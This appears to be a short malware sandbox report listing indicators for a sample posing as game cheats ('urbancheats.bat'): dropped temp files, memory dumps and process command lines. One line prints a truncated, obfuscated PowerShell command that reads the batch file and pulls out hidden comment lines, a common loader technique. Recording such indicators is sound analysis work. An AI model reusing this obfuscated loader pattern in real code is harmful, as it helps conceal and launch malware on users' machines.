Technical Information
- %TEMP%\ixp000.tmp\urbancheats.bat
- %TEMP%\tmp7c06.tmp.exe
- %TEMP%\content\1628-4468-tmp7c06.tmp.exe-21-26-10-324.dump
- %TEMP%\content\1628-4468-tmp7c06.tmp.exe-21-26-16-830.dump
- %TEMP%\ixp000.tmp\urbancheats.bat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$bSsAcbVkmbzWay = (gC -Pat '%TEMP%\IXP000.TMP\urbancheats.bat' -rA) -split '\n';ForEach ($mOWTCvepJPavfH IN $bSsAcbVkmbzWay) { iF ($mOWTCvepJPavfH.sTaRTswIth(':: ')) { $exJhgvvgqbDVvz = $mOWTC...
- '%TEMP%\tmp7c06.tmp.exe'
- '<SYSTEM32>\cmd.exe' /c "urbancheats.bat"